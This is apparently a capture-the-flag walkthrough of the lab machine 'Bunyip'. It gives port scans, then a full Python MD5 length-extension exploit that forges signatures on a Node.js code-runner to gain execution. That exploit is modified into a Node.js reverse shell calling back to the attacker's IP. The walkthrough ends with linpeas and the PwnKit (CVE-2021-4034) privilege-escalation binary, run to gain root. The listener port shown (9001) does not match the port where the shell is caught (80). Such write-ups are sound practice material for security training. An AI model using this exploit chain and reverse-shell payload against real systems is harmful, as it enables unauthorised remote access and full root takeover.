Summary #
On port 8000 there is a s3cur3 r3pl
web application that is vulnerable for an MD5 length extension attack. Abusing the vulnerability allows initial access as the arnold
user. Once on the target we see it’s vulnerable for pwnkit (CVE-2021-4034). Running this exploit escalates our privileges to the root
user.
Specifications #
- Name: BUNYIP
- Platform: PG PRACTICE
- Points: 25
- Difficulty: Hard
- System overview: Linux bunyip 5.4.0-65-generic #73-Ubuntu SMP Mon Jan 18 17:25:17 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
- IP address: 192.168.105.153
- OFFSEC provided credentials: None
- HASH:
local.txt
:e2e99964ce3674cfc275c13d39c4eef1
- HASH:
proof.txt
:0c3807c22d54b2a750a8959c92b0b96f
Preparation #
First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:
## create directory structure
mkdir bunyip && cd bunyip && mkdir enum files exploits uploads tools
## list directory
ls -la
total 28
drwxrwxr-x 7 kali kali 4096 Sep 20 13:07 .
drwxrwxr-x 73 kali kali 4096 Sep 20 13:07 ..
drwxrwxr-x 2 kali kali 4096 Sep 20 13:07 enum
drwxrwxr-x 2 kali kali 4096 Sep 20 13:07 exploits
drwxrwxr-x 2 kali kali 4096 Sep 20 13:07 files
drwxrwxr-x 2 kali kali 4096 Sep 20 13:07 tools
drwxrwxr-x 2 kali kali 4096 Sep 20 13:07 uploads
## set bash variable
ip=192.168.105.153
## ping target to check if it's online
ping $ip
PING 192.168.105.153 (192.168.105.153) 56(84) bytes of data.
64 bytes from 192.168.105.153: icmp_seq=1 ttl=61 time=23.5 ms
64 bytes from 192.168.105.153: icmp_seq=2 ttl=61 time=24.8 ms
^C
--- 192.168.105.153 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1003ms
rtt min/avg/max/mdev = 23.473/24.122/24.771/0.649 ms
Reconnaissance #
Portscanning #
Using Rustscan
we can see what TCP ports are open. This tool is part of my default portscan flow.
## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Breaking and entering... into the world of open ports.
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.105.153:22
Open 192.168.105.153:80
Open 192.168.105.153:3306
Open 192.168.105.153:8000
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-20 13:11 CEST
Initiating Ping Scan at 13:11
Scanning 192.168.105.153 [4 ports]
Completed Ping Scan at 13:11, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:11
Completed Parallel DNS resolution of 1 host. at 13:11, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 13:11
Scanning 192.168.105.153 [4 ports]
Discovered open port 80/tcp on 192.168.105.153
Discovered open port 3306/tcp on 192.168.105.153
Discovered open port 22/tcp on 192.168.105.153
Discovered open port 8000/tcp on 192.168.105.153
Completed SYN Stealth Scan at 13:11, 0.05s elapsed (4 total ports)
Nmap scan report for 192.168.105.153
Host is up, received echo-reply ttl 61 (0.022s latency).
Scanned at 2025-09-20 13:11:21 CEST for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
3306/tcp open mysql syn-ack ttl 61
8000/tcp open http-alt syn-ack ttl 61
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds
Raw packets sent: 8 (328B) | Rcvd: 5 (204B)
Copy the output of open ports into a file called ports
within the files
directory.
## edit the ``files/ports` file
nano files/ports
## content `ports` file:
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
3306/tcp open mysql syn-ack ttl 61
8000/tcp open http-alt syn-ack ttl 61
Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:
## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..
## output previous command
22,80,3306,8000
## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,80,3306,8000 -sCV -vv $ip -oN enum/nmap-services-tcp
Output of NMAP:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 05:84:62:ba:f7:66:23:ba:79:09:25:46:1f:a3:3d:1d (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDnvr+kfNA4cT1aHmw18eHXIMZ6p3TSIqSPbPuNnQgZndqPmtnatEKRexTgWb3Lg3o5VzojkYB7G/gE+OZI0LgiBSlP9odrUigR+w6j9qXOelig4YHPkkx/iY3y9nqAPJHWSGniT++dxClyLDHEJp4uTxr+gS22uAt1OYFOvJnLcDNXrU0Px2tsDiQ/vn7bDMpLIPbM0KOyUt5JueZyWqNCg+1MbCfFnZB40oQa5kK9r2eXU437mNSkbOZcUGmdjqUM1ujzuZBR8uCG8EzhWynjvJ3DmrS0EkrTujGrx14XkZ/kI6iKiiFy7lyLk3prWxIv6kXsYdhBMeqJ2dcXX0xw1fVKE8JM/6g2gclwBBtyyE+6ZxefRpQ8TcfQcGmTdlUeqUs9N6CxoDHRvSHPgIpUzSEkbD0MBWYT4yVWNXpNeIr2+e1ZKdwd3QjwUZy5O9Obyl3IoBrSObnMg/0KzJ1dEqT/L0UJA9bCxCnDV86rPKBthsnlNg2SJo9l2fOxzrU=
| 256 d2:86:47:43:7d:10:1a:6f:3b:18:0e:04:37:11:51:96 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIuqZer1Jf9sRfz5frlN0sdb2FDiL7Yll6bma4qq+fAl9Ce5I+m4NlOeBC4TqKJiKMjeZMPuNzHCW7pM/JlsD0U=
| 256 1d:b1:5f:b4:87:50:76:10:db:61:71:52:1b:7e:af:6f (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAcNix8zuAOsFIws6SN6v5pu3gx96SZBraOLo26sSXxv
80/tcp open http syn-ack ttl 61 nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-generator: Docusaurus
|_http-title: Test Site \xC2\xB7 A website for testing
| http-methods:
|_ Supported Methods: GET HEAD
|_http-favicon: Unknown favicon MD5: 338ABBB5EA8D80B9869555ECA253D49D
3306/tcp open mysql syn-ack ttl 61 MySQL (unauthorized)
8000/tcp open http syn-ack ttl 61 Node.js (Express middleware)
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
|_http-title: s3cur3 r3pl
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Initial Access #
8000/tcp open http syn-ack ttl 61 Node.js (Express middleware)
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
|_http-title: s3cur3 r3pl
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
On port 8000 there is a s3cur3 r3pl
web application, which is a Node.js application that lets users run code on the server if the code has a valid signature. A “Hello World” code block comes with a correct signature, but changing the code causes a “Signature Mismatch” error, stopping it from running. This suggests the application might be open to an MD5 length extension attack. In this attack, someone can use the hash of a message to calculate the hash of that message plus extra data, without needing the original secret key.

Using this script (https://github.com/cbornstein/python-length-extension/blob/master/pymd5.py#L69) added with extr code and the request/base64 library, we can test for the MD5 length extension attack. Save the Python script below to exploit.py
.
#!/usr/bin/python
import requests
import base64
import string
import struct
target = '192.168.105.153:8000'
code = b"""function hello(name) {
return 'Hello ' + name + '!';
}
hello('World'); // should print 'Hello World'"""
extra = """
hello('OffSec');
""".encode('utf-8')
def _encode(input, len):
k = len >> 2
res = struct.pack(*("%iI" % k,) + tuple(input[:k]))
return res
def _decode(input, len):
k = len >> 2
res = struct.unpack("%iI" % k, input[:len])
return list(res)
# Constants for compression function.
S11 = 7
S12 = 12
S13 = 17
S14 = 22
S21 = 5
S22 = 9
S23 = 14
S24 = 20
S31 = 4
S32 = 11
S33 = 16
S34 = 23
S41 = 6
S42 = 10
S43 = 15
S44 = 21
PADDING = b"\x80" + 63*b"\0"
# F, G, H and I: basic MD5 functions.
def F(x, y, z): return (((x) & (y)) | ((~x) & (z)))
def G(x, y, z): return (((x) & (z)) | ((y) & (~z)))
def H(x, y, z): return ((x) ^ (y) ^ (z))
def I(x, y, z): return((y) ^ ((x) | (~z)))
def ROTATE_LEFT(x, n):
x = x & 0xffffffff # make shift unsigned
return (((x) << (n)) | ((x) >> (32-(n)))) & 0xffffffff
# FF, GG, HH, and II transformations for rounds 1, 2, 3, and 4.
# Rotation is separate from addition to prevent recomputation.
def FF(a, b, c, d, x, s, ac):
a = a + F ((b), (c), (d)) + (x) + (ac)
a = ROTATE_LEFT ((a), (s))
a = a + b
return a # must assign this to a
def GG(a, b, c, d, x, s, ac):
a = a + G ((b), (c), (d)) + (x) + (ac)
a = ROTATE_LEFT ((a), (s))
a = a + b
return a # must assign this to a
def HH(a, b, c, d, x, s, ac):
a = a + H ((b), (c), (d)) + (x) + (ac)
a = ROTATE_LEFT ((a), (s))
a = a + b
return a # must assign this to a
def II(a, b, c, d, x, s, ac):
a = a + I ((b), (c), (d)) + (x) + (ac)
a = ROTATE_LEFT ((a), (s))
a = a + b
return a # must assign this to a
class md5(object):
digest_size = 16 # size of the resulting hash in bytes
block_size = 64 # hash algorithm's internal block size
def __init__(self, string='', state=None, count=0):
self.count = 0
self.buffer = b""
if state is None:
# initial state defined by standard
self.state = (0x67452301,
0xefcdab89,
0x98badcfe,
0x10325476,)
else:
self.state = _decode(state, md5.digest_size)
if count is not None:
self.count = count
if string:
self.update(string)
def update(self, input):
inputLen = len(input)
index = int(self.count >> 3) & 0x3F
self.count = self.count + (inputLen << 3) # update number of bits
partLen = md5.block_size - index
# apply compression function to as many blocks as we have
if inputLen >= partLen:
self.buffer = self.buffer[:index] + input[:partLen]
self.state = md5_compress(self.state, self.buffer)
i = partLen
while i + 63 < inputLen:
self.state = md5_compress(self.state, input[i:i+md5.block_size])
i = i + md5.block_size
index = 0
else:
i = 0
# buffer remaining output
self.buffer = self.buffer[:index] + input[i:inputLen]
def digest(self):
_buffer, _count, _state = self.buffer, self.count, self.state
self.update(padding(self.count))
result = self.state
self.buffer, self.count, self.state = _buffer, _count, _state
return _encode(result, md5.digest_size)
def hexdigest(self):
return self.digest().hex()
def padding(msg_bits):
index = int((msg_bits >> 3) & 0x3f)
if index < 56:
padLen = (56 - index)
else:
padLen = (120 - index)
# (the last 8 bytes store the number of bits in the message)
return PADDING[:padLen] + _encode((msg_bits & 0xffffffff, msg_bits>>32), 8)
def md5_compress(state, block):
a, b, c, d = state
x = _decode(block, md5.block_size)
# Round
a = FF (a, b, c, d, x[ 0], S11, 0xd76aa478) # 1
d = FF (d, a, b, c, x[ 1], S12, 0xe8c7b756) # 2
c = FF (c, d, a, b, x[ 2], S13, 0x242070db) # 3
b = FF (b, c, d, a, x[ 3], S14, 0xc1bdceee) # 4
a = FF (a, b, c, d, x[ 4], S11, 0xf57c0faf) # 5
d = FF (d, a, b, c, x[ 5], S12, 0x4787c62a) # 6
c = FF (c, d, a, b, x[ 6], S13, 0xa8304613) # 7
b = FF (b, c, d, a, x[ 7], S14, 0xfd469501) # 8
a = FF (a, b, c, d, x[ 8], S11, 0x698098d8) # 9
d = FF (d, a, b, c, x[ 9], S12, 0x8b44f7af) # 10
c = FF (c, d, a, b, x[10], S13, 0xffff5bb1) # 11
b = FF (b, c, d, a, x[11], S14, 0x895cd7be) # 12
a = FF (a, b, c, d, x[12], S11, 0x6b901122) # 13
d = FF (d, a, b, c, x[13], S12, 0xfd987193) # 14
c = FF (c, d, a, b, x[14], S13, 0xa679438e) # 15
b = FF (b, c, d, a, x[15], S14, 0x49b40821) # 16
# Round 2
a = GG (a, b, c, d, x[ 1], S21, 0xf61e2562) # 17
d = GG (d, a, b, c, x[ 6], S22, 0xc040b340) # 18
c = GG (c, d, a, b, x[11], S23, 0x265e5a51) # 19
b = GG (b, c, d, a, x[ 0], S24, 0xe9b6c7aa) # 20
a = GG (a, b, c, d, x[ 5], S21, 0xd62f105d) # 21
d = GG (d, a, b, c, x[10], S22, 0x2441453) # 22
c = GG (c, d, a, b, x[15], S23, 0xd8a1e681) # 23
b = GG (b, c, d, a, x[ 4], S24, 0xe7d3fbc8) # 24
a = GG (a, b, c, d, x[ 9], S21, 0x21e1cde6) # 25
d = GG (d, a, b, c, x[14], S22, 0xc33707d6) # 26
c = GG (c, d, a, b, x[ 3], S23, 0xf4d50d87) # 27
b = GG (b, c, d, a, x[ 8], S24, 0x455a14ed) # 28
a = GG (a, b, c, d, x[13], S21, 0xa9e3e905) # 29
d = GG (d, a, b, c, x[ 2], S22, 0xfcefa3f8) # 30
c = GG (c, d, a, b, x[ 7], S23, 0x676f02d9) # 31
b = GG (b, c, d, a, x[12], S24, 0x8d2a4c8a) # 32
# Round 3
a = HH (a, b, c, d, x[ 5], S31, 0xfffa3942) # 33
d = HH (d, a, b, c, x[ 8], S32, 0x8771f681) # 34
c = HH (c, d, a, b, x[11], S33, 0x6d9d6122) # 35
b = HH (b, c, d, a, x[14], S34, 0xfde5380c) # 36
a = HH (a, b, c, d, x[ 1], S31, 0xa4beea44) # 37
d = HH (d, a, b, c, x[ 4], S32, 0x4bdecfa9) # 38
c = HH (c, d, a, b, x[ 7], S33, 0xf6bb4b60) # 39
b = HH (b, c, d, a, x[10], S34, 0xbebfbc70) # 40
a = HH (a, b, c, d, x[13], S31, 0x289b7ec6) # 41
d = HH (d, a, b, c, x[ 0], S32, 0xeaa127fa) # 42
c = HH (c, d, a, b, x[ 3], S33, 0xd4ef3085) # 43
b = HH (b, c, d, a, x[ 6], S34, 0x4881d05) # 44
a = HH (a, b, c, d, x[ 9], S31, 0xd9d4d039) # 45
d = HH (d, a, b, c, x[12], S32, 0xe6db99e5) # 46
c = HH (c, d, a, b, x[15], S33, 0x1fa27cf8) # 47
b = HH (b, c, d, a, x[ 2], S34, 0xc4ac5665) # 48
# Round 4
a = II (a, b, c, d, x[ 0], S41, 0xf4292244) # 49
d = II (d, a, b, c, x[ 7], S42, 0x432aff97) # 50
c = II (c, d, a, b, x[14], S43, 0xab9423a7) # 51
b = II (b, c, d, a, x[ 5], S44, 0xfc93a039) # 52
a = II (a, b, c, d, x[12], S41, 0x655b59c3) # 53
d = II (d, a, b, c, x[ 3], S42, 0x8f0ccc92) # 54
c = II (c, d, a, b, x[10], S43, 0xffeff47d) # 55
b = II (b, c, d, a, x[ 1], S44, 0x85845dd1) # 56
a = II (a, b, c, d, x[ 8], S41, 0x6fa87e4f) # 57
d = II (d, a, b, c, x[15], S42, 0xfe2ce6e0) # 58
c = II (c, d, a, b, x[ 6], S43, 0xa3014314) # 59
b = II (b, c, d, a, x[13], S44, 0x4e0811a1) # 60
a = II (a, b, c, d, x[ 4], S41, 0xf7537e82) # 61
d = II (d, a, b, c, x[11], S42, 0xbd3af235) # 62
c = II (c, d, a, b, x[ 2], S43, 0x2ad7d2bb) # 63
b = II (b, c, d, a, x[ 9], S44, 0xeb86d391) # 64
return (0xffffffff & (state[0] + a),
0xffffffff & (state[1] + b),
0xffffffff & (state[2] + c),
0xffffffff & (state[3] + d),)
extended_code = code + padding((len('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx') + len('|') + len(code))*8) + extra
sig = 'aaa8111b4871b48dc6c0ac4c33ef9e1b'
extended_hash = md5(state=bytes.fromhex(sig), count=1536)
extended_hash.update(extra)
extended_sig = extended_hash.hexdigest()
r = requests.post('http://{}'.format(target), json={
'code': base64.b64encode(extended_code).decode('utf-8'),
'sig': extended_sig
})
print('Status code: {}'.format(r.status_code))
print('Response: {}'.format(r.text))
Running the Python script should give us not Hello World
, but Hello OffSec!
. And indeed ,it does.
python3 exploit.py
Status code: 200
Response: {"result":"Hello OffSec!"}
Now change the extra
part of the exploit and get a reverse shell. First we need to get our local IP address on tun0.
## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.189
Change the exploit.py
with the code below.
extra = """
(function() {
var net = require('net'),
cp = require('child_process'),
sh = cp.spawn('/bin/sh', []);
var client = new net.Socket();
client.connect(9001, '192.168.45.189', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})()
""".encode('utf-8')
Once saved, let’s run it to get a reverse shell as the arnold
user in the /opt/secure-repl
directory.
## setup a listener
nc -lvnp 9001
listening on [any] 9001 ...
## run the `exploit.py` script
python3 exploit.py
Status code: 200
Response: {"result":{}}
## catch the reverse shell
nc -lvnp 80
listening on [any] 80 ...
connect to [192.168.45.189] from (UNKNOWN) [192.168.105.153] 44414
## print current user
whoami
arnold
## print curernt working directory
pwd
/opt/secure-repl
## find `local.txt` on the filesystem
find / -iname 'local.txt' 2>/dev/null
/home/arnold/local.txt
## print `local.txt`
cat /home/arnold/local.txt
e2e99964ce3674cfc275c13d39c4eef1
Privilege Escalation #
To get a proper TTY we upgrade our shell using the script
binary.
## determine location script binary
which script
/usr/bin/script
## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null
## after this command press the `enter` key twice
stty raw -echo ; fg ; reset
## run the following to be able to clear the screen and set the terrminal correct
arnold@bunyip:/opt/secure-repl$ export TERM=xterm && stty columns 200 rows 200
Now, upload linpeas.sh
to the target and run it.
## change directory locally
cd uploads
## download latest version of linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
## get local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.189
## start local webserver
python3 -m http.server 80
## on target
## change directory
arnold@bunyip:/opt/secure-repl$ cd /var/tmp
arnold@bunyip:/var/tmp$
## download `linpeas.sh`
arnold@bunyip:/var/tmp$ wget http://192.168.45.189/linpeas.sh
--2025-09-20 15:19:35-- http://192.168.45.189/linpeas.sh
Connecting to 192.168.45.189:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 961834 (939K) [text/x-sh]
Saving to: ‘linpeas.sh’
linpeas.sh 0%[ linpeas.sh 94%[==========================================================================================linpeas.sh 100%[=============================================================================================================>] 939.29K 4.49MB/s in 0.2s
2025-09-20 15:19:35 (4.49 MB/s) - ‘linpeas.sh’ saved [961834/961834]
## set the execution bit
arnold@bunyip:/var/tmp$ chmod +x linpeas.sh
## run `linpeas.sh`
arnold@bunyip:/var/tmp$ ./linpeas.sh
The linpeas.sh
output shows the target is vulnerable for pwnkit (CVE-2021-4034). Now, let’s download the exploit (https://github.com/ly4k/PwnKit), upload to the target and run it to escalate our privileges to the root
user.
## change directory
cd uploads
## download the exploit
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o pwnkit
## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.189
## start webserver on port 10000
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
## on target
## download `pwnkit`
arnold@bunyip:/var/tmp$ wget http://192.168.45.189/pwnkit
--2025-09-20 15:40:21-- http://192.168.45.189/pwnkit
Connecting to 192.168.45.189:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 18040 (18K) [application/octet-stream]
Saving to: ‘pwnkit.1’
pwnkit.1 0%[ pwnkit.1 100%[=============================================================================================================>] 17.62K --.-KB/s in 0.02s
2025-09-20 15:40:21 (789 KB/s) - ‘pwnkit.1’ saved [18040/18040]
## set execution bit on `pwnkit`
arnold@bunyip:/var/tmp$ chmod +x pwnkit
## execute `pwnkit`
arnold@bunyip:/var/tmp$ ./pwnkit
root@bunyip:/var/tmp#
## print `proof.txt`
root@bunyip:/var/tmp# cat /root/proof.txt
0c3807c22d54b2a750a8959c92b0b96f
References #
[+] https://github.com/cbornstein/python-length-extension/blob/master/pymd5.py#L69
[+] https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
[+] https://github.com/ly4k/PwnKit